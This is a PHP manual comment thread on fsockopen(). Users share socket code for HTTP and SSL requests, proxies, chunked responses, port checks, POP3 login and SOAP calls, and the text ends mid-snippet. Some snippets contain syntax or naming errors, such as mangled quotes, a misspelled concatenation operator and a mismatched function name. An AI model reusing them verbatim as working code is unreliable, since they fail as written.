Cleaning the header contents becomes simplier when you can then use a method like split to grab your data like:

list($header,$data) = explode(":THISTAG:",$data);
walter 30-Jul-2009 05:05
For some reason the default FreeBSD 7.0 port (jailed environment) breaks fsockopen() on SSL URLs, returning a constant stream of nothing!  In my case this resulted in php-cgi bringing down lighttpd completely, in rapid time!  Avoid FreeBSD/jails/fsockopen + SSL.  Use curl_init() instead.
ghzero at ghzero dot de 22-Jun-2009 02:20
note:
the default protocol - if not given - seems to be tcp://
oliver dot christen at camptocamp dot com 21-Jun-2009 12:17
When downloading large files, it is not really efficient to put the whole server answer in memory before parsing the data to remove the header parts. Here is a simple way to do it while writing the data as it arrive:

<?php

// $socket is a valid fsockopen handle

$out = '';
$headerendfound = false;
$fp = fopen($fileTarget, 'w');
$buffer = '';
while (!feof($socket)) {
    $out = fgets ($socket,16384);
    if ($headerendfound) {
        fwrite($fp, $out);
        print '.';
    }
    if (!$headerendfound) {
        $buffer .= $out;
        print "searching for header\n";
        $headerend = strpos($buffer, "\r\n\r\n");
        if ($headerend !== false) {
            $headerendfound = true;
            fwrite($fp, substr($buffer, $headerend+4));
            $buffer = '';
        }
    }
}
fclose($fp);
fclose($socket);

?>
andypsv at rcdrugs dot com 16-Jun-2009 10:15
look at this smart ssl/http fsockopen function as a good solution for dealing with things

<?php
function _get($type,$host,$port='80',$path='/',$data='') {
    $_err = 'lib sockets::'.__FUNCTION__.'(): ';
    switch($type) { case 'http': $type = ''; case 'ssl': continue; default: die($_err.'bad $type'); } if(!ctype_digit($port)) die($_err.'bad port');
    if(!empty($data)) foreach($data AS $k => $v) $str .= urlencode($k).'='.urlencode($v).'&'; $str = substr($str,0,-1);

    $fp = fsockopen($host,$port,$errno,$errstr,$timeout=30);
    if(!$fp) die($_err.$errstr.$errno); else {
        fputs($fp, "POST $path HTTP/1.1\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($str)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $str."\r\n\r\n");

        while(!feof($fp)) $d .= fgets($fp,4096);
        fclose($fp);
    } return $d;
}
?>
Hyan Christian 21-Nov-2008 07:42
To just take the HTTP content from fsockopen, better wait until feof finish to read the \r\n separator

<?php
//fsockopen, fputs..

$content = "";
$header = "not yet";

while( !feof( $pointer ) ) {
    $line = fgets( $pointer, 128 );
    if( $line == "\r\n" && $header == "not yet" ) {
        $header = "passed";
    }
    if( $header == "passed" ) {
        $content .= $line;
    }
}

//fclose..

echo( substr( $content, 2 ) );
?>
Doug 07-Nov-2008 12:17
[NOTE BY danbrown AT php DOT net: Updated version.  Contains author-submitted bug fixes.]

Here is a way to get an array of cities / states for any zip code anywhere in the US.  This example uses a $_GET variable to specify which zip code, but you can get it from any source you wish.  This will return actual and acceptable zip code cities (according to USPS), but can be easily modified to include just the actual city.

<?php

if($_GET['zip'])
{
    if(!($fp = fsockopen('zip4.usps.com', 80, $errno, $errstr)))
        echo 'Could not connect to USPS! Error number: ' . $errno . '(' . $errstr . ')';

    else
    {
        $poststring =

            "GET /zip4/zcl_3_results.jsp?zip5=" . $_GET['zip'] . " HTTP/1.0\r\n" .
            "Connection: close\r\n\r\n";

        fputs($fp, $poststring);

        $buffer = '';

        while(!feof($fp))
            $buffer .= fgets($fp, 128);

        fclose($fp);

        preg_match('/Actual City name(.*)/s', $buffer, $match);

        $temp = explode('Not Acceptable', $match[1]);

        // Capture city/state combination for all valid cities

        preg_match_all('/headers="pre">(?:<b>)?([\w|\s]+), (\w+)/', $temp[0], $acceptable, PREG_SET_ORDER);

        $values = array();

        foreach($acceptable as $value)

            $values[] =

                array
                (
                    'city' => $value[1],
                    'state' => $value[2]
                );

        if(count($values) == 0)
            echo 'Zip could not be found in the database!';
    }
}
else
    echo 'Please specify a zip!';

?>
laisebrown at gmail dot com 27-Oct-2008 12:30
When you're connecting through a proxy server you can't rely on fsockopen returning false to indicate that the connection has failed. (This also applies to fgets and fwrite.)

To check whether the proxy succeeded in contacting the real target host, you need to look for the http response code in the headers that get returned. Typically, if the proxy was unable to reach the host, you'll find a line containing something like:
HTTP/1.0 503 Service Unavailable
Anonymous 12-Oct-2008 02:26
"system level connect()" is not further documented inside the php documentation so it is hard to find out more about error numbers.

someone suggest a more system-close way to find out more about error numbers here: http://www.askapache.com/php/fsockopen-socket.html (an interesting read about fsockopen anyway).

in my case i could debug to the fact that fsocketopen error number 16 was resulted in the inpossibility to resolve a hostname.
andrew at enigma-pro dot com 09-Sep-2008 05:28
Notice using "tcp" insted of "http"
<?php
fsockopen("tcp://example.net",80 , $errno, $errstr, 30);
?>
mikey at badpenguins dot com 06-Sep-2008 06:00
My $0.02 on handling chunked transfer encoded output...  Has rudimentary error handling.

<?php
//
// Example usage...
//
$server  = '127.0.0.1';
$port    = '80';
$uri     = '/cgi-bin/random-cgi';
$content = 'Your post content...';

$post_results = httpPost($server,$port,$uri,$content);
if (!is_string($post_results)) {
    die('uh oh, something went wrong');
    } else {
    die('Here are your results: ' . $post_results);
    }

//
// Post provided content to an http server and optionally
// convert chunk encoded results.  Returns false on errors,
// result of post on success.  This example only handles http,
// not https.
//
function httpPost($ip=null,$port=80,$uri=null,$content=null) {
    if (empty($ip))         { return false; }
    if (!is_numeric($port)) { return false; }
    if (empty($uri))        { return false; }
    if (empty($content))    { return false; }
    // generate headers in array.
    $t   = array();
    $t[] = 'POST ' . $uri . ' HTTP/1.1';
    $t[] = 'Content-Type: text/html';
    $t[] = 'Host: ' . $ip . ':' . $port;
    $t[] = 'Content-Length: ' . strlen($content);
    $t[] = 'Connection: close';
    $t   = implode("\r\n",$t) . "\r\n\r\n" . $content;
    //
    // Open socket, provide error report vars and timeout of 10
    // seconds.
    //
    $fp  = @fsockopen($ip,$port,$errno,$errstr,10);
    // If we don't have a stream resource, abort.
    if (!(get_resource_type($fp) == 'stream')) { return false; }
    //
    // Send headers and content.
    //
    if (!fwrite($fp,$t)) {
        fclose($fp);
        return false;
        }
    //
    // Read all of response into $rsp and close the socket.
    //
    $rsp = '';
    while(!feof($fp)) { $rsp .= fgets($fp,8192); }
    fclose($fp);
    //
    // Call parseHttpResponse() to return the results.
    //
    return parseHttpResponse($rsp);
    }

//
// Accepts provided http content, checks for a valid http response,
// unchunks if needed, returns http content without headers on
// success, false on any errors.
//
function parseHttpResponse($content=null) {
    if (empty($content)) { return false; }
    // split into array, headers and content.
    $hunks = explode("\r\n\r\n",trim($content));
    if (!is_array($hunks) or count($hunks) < 2) {
        return false;
        }
    $header  = $hunks[count($hunks) - 2];
    $body    = $hunks[count($hunks) - 1];
    $headers = explode("\n",$header);
    unset($hunks);
    unset($header);
    if (!verifyHttpResponse($headers)) { return false; }
    if (in_array('Transfer-Encoding: chunked',$headers)) {
        return trim(unchunkHttpResponse($body));
        } else {
        return trim($body);
        }
    }

//
// Validate http responses by checking header.  Expects array of
// headers as argument.  Returns boolean.
//
function validateHttpResponse($headers=null) {
    if (!is_array($headers) or count($headers) < 1) { return false; }
    switch(trim(strtolower($headers[0]))) {
        case 'http/1.0 100 ok':
        case 'http/1.0 200 ok':
        case 'http/1.1 100 ok':
        case 'http/1.1 200 ok':
            return true;
        break;
        }
    return false;
    }

//
// Unchunk http content.  Returns unchunked content on success,
// false on any errors...  Borrows from code posted above by
// jbr at ya-right dot com.
//
function unchunkHttpResponse($str=null) {
    if (!is_string($str) or strlen($str) < 1) { return false; }
    $eol = "\r\n";
    $add = strlen($eol);
    $tmp = $str;
    $str = '';
    do {
        $tmp = ltrim($tmp);
        $pos = strpos($tmp, $eol);
        if ($pos === false) { return false; }
        $len = hexdec(substr($tmp,0,$pos));
        if (!is_numeric($len) or $len < 0) { return false; }
        $str .= substr($tmp, ($pos + $add), $len);
        $tmp  = substr($tmp, ($len + $pos + $add));
        $check = trim($tmp);
        } while(!empty($check));
    unset($tmp);
    return $str;
    }

?>
admin at lab-9 dot com 21-Jul-2008 02:32
When you try to POST/GET requests via HTTPS over SSL/TLS you should notice this:

<?php
// preconditions
$port = 80 | 443
$host = "www.example.com";
$method = "POST" | "GET";
$contenttype = "text/html" | "text/plain" | "text/xml" | ...;
$data = "<something>";

// script
if($port == 443)
      $sslhost = "ssl://".$host;
else
      $sslhost = $host;
$fp = fsockopen($sslhost, $port);
fputs($fp, "$method $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: $contenttype\r\n");
fputs($fp, "Content-length: ".strlen($data)."\r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
?>

The server usually does not understand the HTTP-header "Host: XXX" if you provide it with the trailing "ssl://" used by fsockopen(); If you do it anyway you probably get a HTTP 400 back as response. :-)
jabeba at web dot de 17-Apr-2008 03:21
If you have to use a proxy to make requests outside of your local network, you may use this class:

<?php
/*
 *
 * No Proxy Authentification Implemented; PHP 5
 *
 */

class RemoteFopenViaProxy {

    private $result;
    private $proxy_name;
    private $proxy_port;
    private $request_url;

    public function get_proxy_name() {
        return $this->proxy_name;
    }

    public function set_proxy_name($n) {
        $this->proxy_name = $n;
    }

    public function get_proxy_port() {
        return $this->proxy_port;
    }

    public function set_proxy_port($p) {
        $this->proxy_port = $p;
    }

    public function get_request_url() {
        return $this->request_url;
    }

    public function set_request_url($u) {
        $this->request_url = $u;
    }

    public function get_result() {
        return $this->result;
    }

    public function set_result($r) {
        $this->result = $r;
    }

    private function get_url_via_proxy() {

        $proxy_fp = fsockopen($this->get_proxy_name(), $this->get_proxy_port());

        if (!$proxy_fp) {
            return false;
        }
        fputs($proxy_fp, "GET " . $this->get_request_url() . " HTTP/1.0\r\nHost: " . $this->get_proxy_name() . "\r\n\r\n");
        while (!feof($proxy_fp)) {
            $proxy_cont .= fread($proxy_fp, 4096);
        }
        fclose($proxy_fp);
        $proxy_cont = substr($proxy_cont, strpos($proxy_cont, "\r\n\r\n") + 4);
        return $proxy_cont;

    }

    private function get_url($url) {
        $fd = @ file($url);
        if ($fd) {
            return $fd;
        } else {
            return false;
        }
    }

    private function logger($line, $file) {
        $fd = fopen($file . ".log", "a+");
        fwrite($fd, date("Ymd G:i:s") . " - " . $file . " - " . $line . "\n");
        fclose($fd);
    }

    function __construct($url, $proxy_name = "", $proxy_port = "") {

        $this->set_request_url($url);
        $this->set_proxy_name($proxy_name);
        $this->set_proxy_port($proxy_port);

    }

    public function request_via_proxy() {

        $this->set_result($this->get_url_via_proxy());
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url_via_proxy(" . $this->get_proxy_name() . "," . $this->get_proxy_port() . "," . $this->get_request_url() . ")", "RemoteFopenViaProxyClass.log");
        }
    }

    public function request_without_proxy() {

        $this->set_result($this->get_url($this->get_request_url()));
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url(" . $url . ")", "RemoteFopenViaProxyClass.log");
        }
    }
}
?>

Use it this way:

<?php
// call constructor
$obj = new RemoteFopenViaProxy($insert_request_url, $insert_proxy_name, $insert_proxy_port);
// change settings after object generation
$obj->set_proxy_name($insert_proxy_name);
$obj->set_proxy_port($insert_proxy_port);
$obj->set_request_url($insert_request_url);
$obj->request_via_proxy();
echo $obj->get_result();
?>

If there are errors during execution, the script tries to write some useful information into a log file.
dot dot dot dot dot alexander at gmail dot com 08-Mar-2008 04:15
An edit to my below function for extra headers support and a bit of debugging
( array("key" => "value")  type)
 <?php

if(!function_exists("download")){
    function download($uri, $port = 80, $extra_headers = NULL){
if(!function_exists("stripos")){
    function stripos($str, $needle, $offset=0){
        return strpos(strtolower($str),strtolower($needle),$offset);
    }/* endfunction stripos */
}/* endfunction exists stripos*/
        if(!is_int($port))$port = 80;
        if(!is_array($extra_headers))$extra_headers = array();
        $uri = strtr( strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/") );

        if(  ( $protocol = stripos($uri, "://") ) !== FALSE  ){
            if(  ( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE  ){
                $domain = substr($uri, 0, $domain_pos);
                $file = substr($uri, $domain_pos);
            }
            else{
                $domain = $uri;
                $file = "/";
            }
        }
        else{
            if(  ( $domain_pos = stripos($uri, "/") ) !== FALSE  ){
                $domain = substr($uri, 0, $domain_pos);
                $file = substr($uri, $domain_pos);
            }
            else{
                $domain = $uri;
                $file = "/";
            }
        }

        $fp = fsockopen($domain, $port, $errno, $errstr, 30);
        if(!$fp){
            return FALSE;
        }
        else{
            $out = "GET " . $file . " HTTP/1.1\r\n";
            $out .= "Host: " . $domain . "\r\n";
            foreach( $extra_headers as $nm => $vl ){
    $out .= strtr( strval($nm), array( "\r" => "", "\n" => "", ": " => "", ":" => "") ) . ": " . strtr( strval($vl), array( "\r" => "", "\n" => "", ": " => "", ":" => "") ) . "\r\n";
            }
            $out .= "Connection: Close\r\n\r\n";

            $response = "";
            fwrite($fp, $out);
            while (!feof($fp)) {
                $response .= fgets($fp, 128);
            }
            fclose($fp);

            global $http_response_header;
            $http_response_header = array();
            if(  stripos($response, "\r\n\r\n") !== FALSE  ){
                $hc = explode("\r\n\r\n",  $response);
                $headers = explode("\r\n",  $hc[0]);

                if(!is_array($headers))$headers = array();
                foreach($headers as $key => $header){
                    $a = "";
                    $b = "";
                    if(  stripos($header, ":") !== FALSE  ){
                        list($a, $b) = explode(":", $header);
                        $http_response_header[trim($a)] = trim($b);
                    }
                }
                return end($hc);
            }
            else if(  stripos($response, "\r\n") !== FALSE  ){
                $headers = explode("\r\n",  $response);

                if(!is_array($headers))$headers = array();
                foreach($headers as $key => $header){
                    if(  $key < ( count($headers) - 1 )  ){
                        $a = "";
                        $b = "";
                        if(  stripos($header, ":") !== FALSE  ){
                            list($a, $b) = explode(":", $header);
                            $http_response_header[trim($a)] = trim($b);
                        }
                    }
                }
                return end($headers);
            }
            else{
                return $response;
            }
        }
    }/*endfunction download*/
}/*endif no function download*/
?>
huli0401 at gmail dot com 27-Dec-2007 06:12
<?php
// Check for new version
    $current_version = explode('.', '1.0.00');
    $minor_revision = (int) $current_version[2];

    $errno = 0;
    $errstr = $version_info = '';

    if ($fsock = fsockopen("www.exanmple.eu", 80, $errno, $errstr, 30))
    {
        @fputs($fsock, "GET /ver.txt HTTP/1.1\r\n");
        @fputs($fsock, "HOST: www.example.eu\r\n");
        @fputs($fsock, "Connection: close\r\n\r\n");

        $get_info = false;
        while (!@feof($fsock))
        {
            if ($get_info)
            {
                $version_info .= @fread($fsock, 1024);
            }
            else
            {
                if (@fgets($fsock, 1024) == "\r\n")
                {
                    $get_info = true;
                }
            }
        }
        @fclose($fsock);

        $version_info = explode("\n", $version_info);
        $latest_head_revision = (int) $version_info[0];
        $latest_minor_revision = (int) $version_info[2];
        $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

        if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
        {
            $version_info = '<p style="color:green">OK</p>';
        }
        else
        {
            $version_info = '<p style="color:red">neaktualne';
            $version_info .= '<br />'Latest_version_info' . $latest_version) . ' ' . sprintf(Current_version_info'. '1.0.00') . '</p>';
        }
    }
    else
    {
        if ($errstr)
        {
            $version_info = '<p style="color:red">' . sprintf(Connect_socket_error) . '</p>';
        }
        else
        {
            $version_info = '<p>'Socket_functions_disabled'</p>';
        }
    }

    $version_info .= '<p>'Mailing_list_subscribe_reminder'</p>';

echo $version_info;
?>
anarchy 05-Sep-2007 03:34
The DEFAULT stream timeout is set according to default_socket_timeout in your php.ini file.  Took forever for me to dig that up....
Adlez 04-Aug-2007 10:32
For those of you who do not have cURL, you might want to try this.
It doesn't have all the functions that cURL has, but it has the basics.
Please let me know of any bugs or problems.

<?php
function open_page($url,$f=1,$c=2,$r=0,$a=0,$cf=0,$pd=""){
 global $oldheader;
 $url = str_replace("http://","",$url);
 if (preg_match("#/#","$url")){
  $page = $url;
  $url = @explode("/",$url);
  $url = $url[0];
  $page = str_replace($url,"",$page);
  if (!$page || $page == ""){
   $page = "/";
  }
  $ip = gethostbyname($url);
 }else{
  $ip = gethostbyname($url);
  $page = "/";
 }
 $open = fsockopen($ip, 80, $errno, $errstr, 60);
 if ($pd){
  $send = "POST $page HTTP/1.0\r\n";
 }else{
  $send = "GET $page HTTP/1.0\r\n";
 }
 $send .= "Host: $url\r\n";
 if ($r){
  $send .= "Referer: $r\r\n";
 }else{
  if ($_SERVER['HTTP_REFERER']){
   $send .= "Referer: {$_SERVER['HTTP_REFERER']}\r\n";
  }
 }
 if ($cf){
  if (@file_exists($cf)){
   $cookie = urldecode(@file_get_contents($cf));
   if ($cookie){
    $send .= "Cookie: $cookie\r\n";
    $add = @fopen($cf,'w');
    fwrite($add,"");
    fclose($add);
   }
  }
 }
 $send .= "Accept-Language: en-us, en;q=0.50\r\n";
 if ($a){
  $send .= "User-Agent: $a\r\n";
 }else{
  $send .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
 }
 if ($pd){
  $send .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $send .= "Content-Length: " .strlen($pd) ."\r\n\r\n";
  $send .= $pd;
 }else{
  $send .= "Connection: Close\r\n\r\n";
 }
 fputs($open, $send);
 while (!feof($open)) {
  $return .= fgets($open, 4096);
 }
 fclose($open);
 $return = @explode("\r\n\r\n",$return,2);
 $header = $return[0];
 if ($cf){
  if (preg_match("/Set\-Cookie\: /i","$header")){
   $cookie = @explode("Set-Cookie: ",$header,2);
   $cookie = $cookie[1];
   $cookie = explode("\r",$cookie);
   $cookie = $cookie[0];
   $cookie = str_replace("path=/","",$cookie[0]);
   $add = @fopen($cf,'a');
   fwrite($add,$cookie,strlen($read));
   fclose($add);
  }
 }
 if ($oldheader){
  $header = "$oldheader<br /><br />\n$header";
 }
 $header = str_replace("\n","<br />",$header);
 if ($return[1]){
  $body = $return[1];
 }else{
  $body = "";
 }
 if ($c === 2){
  if ($body){
   $return = $body;
  }else{
   $return = $header;
  }
 }
 if ($c === 1){
  $return = $header;
 }
 if ($c === 3){
  $return = "$header$body";
 }
 if ($f){
  if (preg_match("/Location\:/","$header")){
   $url = @explode("Location: ",$header);
   $url = $url[1];
   $url = @explode("\r",$url);
   $url = $url[0];
   $oldheader = str_replace("\r\n\r\n","",$header);
   $l = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
   $oldheader = str_replace("Location:",$l,$oldheader);
   return open_page($url,$f,$c,$r,$a,$cf,$pd);
  }else{
   return $return;
  }
 }else{
  return $return;
 }
}
/////////////
////Usage////
/////////////
$url = "http://www.php.net";
$f = 1;
$c = 2;//1 for header, 2 for body, 3 for both
$r = NULL;
$a = NULL;
$cf = NULL;
$pd = NULL;
$page = open_page($url,$f,$c,$r,$a,$cf,$pd);
print $page;
?>
bradland at umich dot edu 23-Jul-2007 06:32
I was having trouble doing an https in fopen and with fsockopen where the address had ssl://.  I was getting error code 114 in the log.  After much research i found that there was some ssl conflict trouble with MySQL 5.0.20-5.0.33.  It had some functions that were interfering with openssl that showed up in the php install.

http://bugs.mysql.com/bug.php?id=21930
http://bugs.mysql.com/bug.php?id=19289
warezthebeef at gmail dot com 17-Jul-2007 01:37
I ran into a problem where I needed to make an fsockopen() style connection from one specific ip address on a server with multiple ip aliases. Unfortunately fsockopen() does not allow the specification of a source address making it unsuitable. I could not find any other solutions elsewhere so here is mine for those with php 5.1.0 or greater.

<?php
// connect to the internet using the '192.168.0.100' IP
$opts = array('socket' => array('bindto' => '192.168.0.100:0'));

$context = stream_context_create($opts);

$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
?>

Now $fp can be used like a resource handle returned by a vanilla fsockopen() call!
Alexander Wegener 26-May-2007 04:29
To check if a Url is Online (with http and https)
Using @fgets to hide Warning when using SSL
(Bug: "Warning: function.fgets SSL: fatal protocol error", http://bugs.php.net/bug.php?id=23220)

<?php

    function isOnline($url) {
        if (!$url_info = parse_url($url)) {
            return false;
        }

        switch ($url_info['scheme']) {
            case 'https':
                $scheme = 'ssl://';
                $port = 443;
                break;
            case 'http':
            default:
                $scheme = '';
                $port = 80;
        }

        $data = "";
        $fid = @fsockopen($scheme . $url_info['host'], $port, $errno, $errstr, 30);
        if ($fid) {
            fputs($fid, 'HEAD ' . (isset($url_info['path'])? $url_info['path']: '/') . (isset($url_info['query'])? '?' . $url_info['query']: '') . " HTTP/1.0\r\n" .
                        "Connection: close\r\n" .
                        'Host: ' . $url_info['host'] . "\r\n\r\n");
            while (!feof($fid)) {
                $data .= @fgets($fid, 128);
            }
            fclose($fid);
            return !empty($data);
        } else {
            return false;
        }
    }

?>
ryan1_00 at hotmail dot com 29-Jan-2007 04:52
This script checks specific ports so you need to have the correct port open on the server for this to work.

E.g if i have a windows domain controller and it is servering LDAP then the following would be used to check it is online:
<?php
chkServer("MyDC", "389");
?>

for a webserver:
<?php
chkServer("MyWebSvr", "80");
?>

etc etc
--------------------------------------------------------

<?php
// check if a server is up by connecting to a port
function chkServer($host, $port)
{
    $hostip = @gethostbyname($host); // resloves IP from Hostname returns hostname on failure

    if ($hostip == $host) // if the IP is not resloved
    {
        echo "Server is down or does not exist";
    }
    else
    {
        if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) // attempt to connect
        {
            echo "Server is down";
        }
        else
        {
            echo "Server is up";
            if ($x)
            {
                @fclose($x); //close connection
            }
        }
    }
}
?>
v13+phpnet at it dot teithe dot gr 25-Jan-2007 12:01
The following function performs pop3 authentication. Returns NULL on error, or true/false to indicate username/password matching:

$address is the hostname of the server and $ssl is a boolean that indicates whether an SSL connection is requested.

<?php
function pop3authCheck($username, $password, $address, $ssl)
{
    if ($ssl)
        $uri="ssl://$address:995";
    else
        $uri="tcp://$address:110";

    $fp=fsockopen($uri);

    if (!$fp)
        return(NULL);

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="USER $username\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="PASS $password\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    fclose($fp);
    if (substr($st, 0, 3)=="+OK")
        return(true);
    else if (substr($st, 0, 4)=="+ERR")
        return(false);
    else
        return(NULL);
}
?>
04-Dec-2006 05:34
I've had issues with some of the handlers for chunked http 1.1 responses.  Here's a method that worked for me, if it works for you as well, then cheers :P

<?php

    function httpSocketConnection($host, $method, $path, $data)
    {
        $method = strtoupper($method);

        if ($method == "GET")
        {
            $path.= '?'.$data;
        }

        $filePointer = fsockopen($host, 80, $errorNumber, $errorString);

        if (!$filePointer)
        {
            logEvent('debug', 'Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');
            return false;
        }

        $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
        $requestHeader.= "Host: ".$host."\r\n";
        $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
        $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";

        if ($method == "POST")
        {
            $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
        }

        $requestHeader.= "Connection: close\r\n\r\n";

        if ($method == "POST")
        {
            $requestHeader.= $data;
        }

        fwrite($filePointer, $requestHeader);

        $responseHeader = '';
        $responseContent = '';

        do
        {
            $responseHeader.= fread($filePointer, 1);
        }
        while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));

        if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
        {
            while (!feof($filePointer))
            {
                $responseContent.= fgets($filePointer, 128);
            }
        }
        else
        {

            while ($chunk_length = hexdec(fgets($filePointer)))
            {
                $responseContentChunk = '';

                logEventToTextFile('debug', $chunk_length);
                $read_length = 0;

                while ($read_length < $chunk_length)
                {
                    $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                    $read_length = strlen($responseContentChunk);
                }

                $responseContent.= $responseContentChunk;

                fgets($filePointer);

            }

        }

        logEventToTextFile('debug', $responseContent);

        return chop($responseContent);
    }

?>
yadiutama_skom at yahoo dot com 07-Apr-2006 11:09
This is a simple example for sending and retrieve SOAP message by using fsockopen:

<?php
$fp = @fsockopen("www.example.com", 80, $errno, $errstr);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {

$soap_out  = "POST /example/exampleServer.php HTTP/1.0\r\n";
$soap_out .= "Host: www.example.com\r\n";
$soap_out .= "User-Agent: MySOAPisOKGuys \r\n";
$soap_out .= "Content-Type: text/xml; charset=ISO-8859-1\r\n";
$soap_out .= "Content-Length: 512\r\n\r\n";
$soap_out .= '<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns5973:contact xmlns:ns5973="http://tempuri.org">
<__numeric_0><id  xsi:nil="true"/></__numeric_0>
</ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

    fputs($fp, $soap_out, strlen($soap_out));  // send request SOAP

    echo "<xmp>".$out."</xmp>";

    while (!feof($fp)) {
        $soap_in . = fgets($fp, 100);
    }

    echo "<xmp>$soap_in</xmp>";   //display response SOAP

    fclose($fp);
}
?>

And this is an example result:

POST /soap/example/contactServer.php HTTP/1.0
Host: www.example.com
User-Agent: MySOAPisOKGuys
Content-Type: text/xml; charset=ISO-8859-1
Content-Length: 512
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns5973:contact
xmlns:ns5973="http://tempuri.org"><__numeric_0><id
xsi:nil="true"/></__numeric_0></ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

HTTP/1.1 200 OK
Date: Thu, 06 Apr 2006 07:03:26 GMT
Server: Apache/1.3.23 (Win32)
X-Powered-By: PHP/4.1.1
X-SOAP-Server: MySOAPisOKGuys
Content-Length: 625
Connection: close
Content-Type: text/xml; charset=ISO-8859-1
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns1:contactResponse
xmlns:ns1="http://tempuri.org">
<return xsi:type="xsd:string">
</return>
</ns1:contactResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Duukkis 27-Feb-2006 02:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        // get the necessary data
        $file_name = $_FILES['userfile']['name'];     // the file
        $tmp_name = $_FILES['userfile']['tmp_name'];     // the file
        $content_type = $_FILES['userfile']['type'];     // the file mime type

        srand((double)microtime()*1000000);
        $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

        // Build the header
        $header = "POST $remote_url HTTP/1.0\r\n";
        $header .= "Host: $remote_server\r\n";
        $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        // attach post vars
        foreach($_POST AS $index => $value){
            $data .="--$boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            $data .= "\r\n".$value."\r\n";
            $data .="--$boundary\r\n";
        }
        // and attach the file
        $data .= "--$boundary\r\n";
        $content_file = join("", file($tmp_name));
        $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        $data .= "Content-Type: $content_type\r\n\r\n";
        $data .= "".$content_file."\r\n";
        $data .="--$boundary--\r\n";
        $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
        $fp = fsockopen($remote_server, 80);
        // then just
        fputs($fp, $header.$data);
        fclose($fp);
?>
ittasks at gmail dot com 16-Feb-2006 01:02
login to the site prior to downloading page:

In some wierd situations site security is based on
 ASPSESSION ID and where could be a
 login asp  script in one place, and the actual page with
information in another place.

for such cases you have to submit ( POST ) you login and
password first, when grab ASP session (and also some
cookies from response, and when use that ASP SESSION in
second request to the actual page: (i took some parts of
codes from other ppl)
<?php
//submit login form: (url, post data, extra headers (optional))
//do not put  http into URL, just domain name
$mycookies = GetCookies("www.yourdomain.com/login.login.asp",
"password=12345&username=your_username&submit=LOGIN&set=Y","");
//some extra params if you need them
// echo "Cookies:<br><pre>\n".$mycookies."\n</pre>";
//$body =PostPage("www.example.com/coolpage.asp",
//"action=zzz",$mycookies);
//echo "<br>Body:<br>\n".$body."\n";
//im using get page - so it goes like this:
$opts = array('http'=>array('method'=>"GET",
'header'=>"Accept-language: en\r\nCookie: ".$mycookies."\r\n" ));
$context = stream_context_create($opts);
